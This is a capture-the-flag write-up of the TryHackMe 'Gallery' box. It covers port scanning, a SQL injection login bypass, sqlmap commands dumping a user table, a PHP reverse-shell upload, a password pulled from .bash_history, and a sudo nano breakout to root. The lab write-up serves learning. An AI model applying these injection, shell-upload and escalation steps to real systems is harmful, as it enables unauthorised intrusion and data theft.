Overview
Welcome to Try Hack Me’s Gallery! In short, this box is all about SQL injection - inject all the way to get a shell, then exploit a command that we can run as root
to get the flag!
I. Reconnaisance
tl;dr: Scan for open ports, find out a login form. Perform a SQL injection to log in.Here’s the port scan result:
# Nmap 7.92 scan initiated Thu Feb 17 04:55:27 2022 as: nmap -sC -sV -oN nmap.txt 10.10.177.242
Nmap scan report for 10.10.177.242
Host is up (0.40s latency).
Not shown: 3998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Simple Image Gallery System
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 17 05:13:08 2022 -- 1 IP address (1 host up) scanned in 1061.16 seconds
This should answer the first question - how many ports are opening
.
Going into details, here’s what’s on port 80.
Just a standard Apache
page. There was absolutely nothing abnormal in the source code. Normally we would look for subdirectories or subdomains in times like this, but for now, let’s see to port 8080 first:
A simple login form. Testing it against some widely used default credentials, the app did not let us in. Its source code, on the other hand, did have something:
However, /forgot-password.html
end point, in fact, returned a standard 404 error:
$ curl http://10.10.69.246/gallery/forgot-password.html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.69.246 Port 80</address>
</body></html>
Take another look at browser’s DevTool, it showed something genuinely noteworthy.
Embedded in the HTTP response is a SQL query, as if it’s tempting us to do a SQL injection. From the most basic one first:
…Well?
Why didn’t it work? Before we continue, can you figure out why?
A bit agonizing, self-doubting and Googling, I realized that it should have been =
, not ==
. The result of a month working in NoSQL fully unveiled before my eyes.
After that slight amendation, the app let us in as Administrator
.
II. CME attack - database
tl;dr: Use a public exploit of the CME to get data within the MySQL database.I looked around in the web app, and even as Administrator
, it didn’t exposed anything remarkable. If the vulnerability was not in the content or configuration, it must be in the app itself. Therefore, to no one surprise, several public exploits can be found in no time using searchsploit:
$ searchsploit "Simple Image Gallery"
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Joomla Plugin Simple Image Gallery Extended ( | php/webapps/49064.txt
Joomla! Component Kubik-Rubik Simple Image Ga | php/webapps/44104.txt
Simple Image Gallery 1.0 - Remote Code Execut | php/webapps/50214.py
Simple Image Gallery System 1.0 - 'id' SQL In | php/webapps/50198.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
How convenient it is to have a RCE PoC right on line 3. However, for some god-know reason, the Python script didn’t work for me. As a consequence, we had to manually SQL inject it. Here are the instructed steps:
Step 1. Login to the application with any verified user credentials
Step 2. Click on Albums page and select an albums if created or create
by clicking on "Add New" on the top right and select the album.
Step 3. Click on an image and capture the request in burpsuite.
Now copy the request and save it as test.req .
Step 4. Run the sqlmap command "sqlmap -r test.req --dbs
Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.
At least, that was the initial plan. Everything went smoothly until step 4, when I ran this command:
sqlmap -r test.req --dbs
Unexpectedly, I received this:
[WARNING] most likely web server instance hasn't recovered yet from previous timed based payload.
For that reason, I had to change the commands a bit. Here is a sequence of sqlmap commands that I ran:
# discover databases
$ sqlmap -r test.req --dbs --flush-session --technique=BEUS
available databases [2]:
[*] gallery_db
[*] information_schema
# discover tables
sqlmap -r test.req --tables -D gallery_db
tabase: gallery_db
[4 tables]
+-------------+
| album_list |
| images |
| system_info |
| users |
+-------------+
# get columns of a table
sqlmap -r test.req --columns -D gallery_db -T users --threads 4
Database: gallery_db
Table: users
[10 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| avatar | text |
| date_added | datetime |
| date_updated | datetime |
| firstname | varchar(250) |
| id | int(50) |
| last_login | datetime |
| lastname | varchar(250) |
| password | text |
| type | tinyint(1) |
| username | text |
+--------------+--------------+
# extract data from table
sqlmap -r test.req --dump -D gallery_db -T users --threads 4
Database: gallery_db
Table: users
[1 entry]
+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1 | 1 | uploads/1629883080_1624240500_avatar.png | Admin | 0f18fd4cf40bfb1dec646807c7fa5522 (lmao) | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2022-02-23 08:55:43 |
+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+
That password… isn’t that the very password that I set earlier? It it the answer to a THM question? Was I not supposed to change it?
As a result, I had to restart the machine and run the exact command once again.
Database: gallery_db
Table: users
[1 entry]
+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1 | 1 | uploads/1629883080_1624240500_avatar.png | Admin | <REDACTED> | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2021-08-25 09:18:12 |
+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
III. CME attack - reverse shell
tl;dr: Upload PHP reverse shell, got reverse shellThis one was disappointingly facile. There was an option to upload the image in the web app, so I tried to upload a standard PHP reverse shell from Pentest Monkey. Then open the image.
Strangely, my long-waited netcat listener received a call back.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
IV. Privilege escalation - user
tl;dr: Escalate to user privilege using credentials in .bash_historyYes, as you have just read. This fictional user foolishly typed his password into a bash command. You just need to look for it in a back up.
$ find / -name "*backup*" 2>/dev/null # One of the top commands you should run when you get a shell
usr/src/linux-headers-4.15.0-167-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-4.15.0-154-generic/include/config/wm831x/backup.h
/etc/lvm/backup
/var/backups
Apparently, we see to /var/backups
.
$ ls /var/backups
apt.extended_states.0
apt.extended_states.1.gz
apt.extended_states.2.gz
apt.extended_states.3.gz
mike_home_backup
What’s there in mike_home_backup
directory?
$ ls /var/backups/mike_home_backup
accounts.txt
Interestingly, this accounts.txt
file is just a trap.
$ cat accounts.txt
Spotify : mike@gmail.com:mycat666
Netflix : mike@gmail.com:123456789pass
TryHackme: mike:darkhacker123
Ther real credentials lies at /var/backups/mike_home_backup/.bash_history
, right here:
$ cat /var/backups/mike_home_backup/.bash_history
cat .bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -l<REDACTED>
clear
sudo -l
exit
See? Now run su mike
, enter the password, and see what’s left.
mike@gallery:/var/backups/mike_home_backup$ id
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)
V. Privilege Escalation - root
tl;dr: Exploit a script that user can run as rootA second in and I immediately know where to look to:
mike@gallery:/var/backups/mike_home_backup$ sudo -l
sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
So we can run /opt/rootkit.sh
as root. By the way, we can also read it:
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Seems like a script to check for rootkit. Ironically, the script to check for rootkit is a rootkit itself.
Take a look at that read
option, do you see that we can run nano
as root? According to GTFOBins, that much is enough to break out and get a shell.
Type exactly that, character-by-character, we broke out of nano
and got the root shell.
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
report.txt root.txt
And that’s all. A pretty basic challenge. Hope you’ve enjoyed it!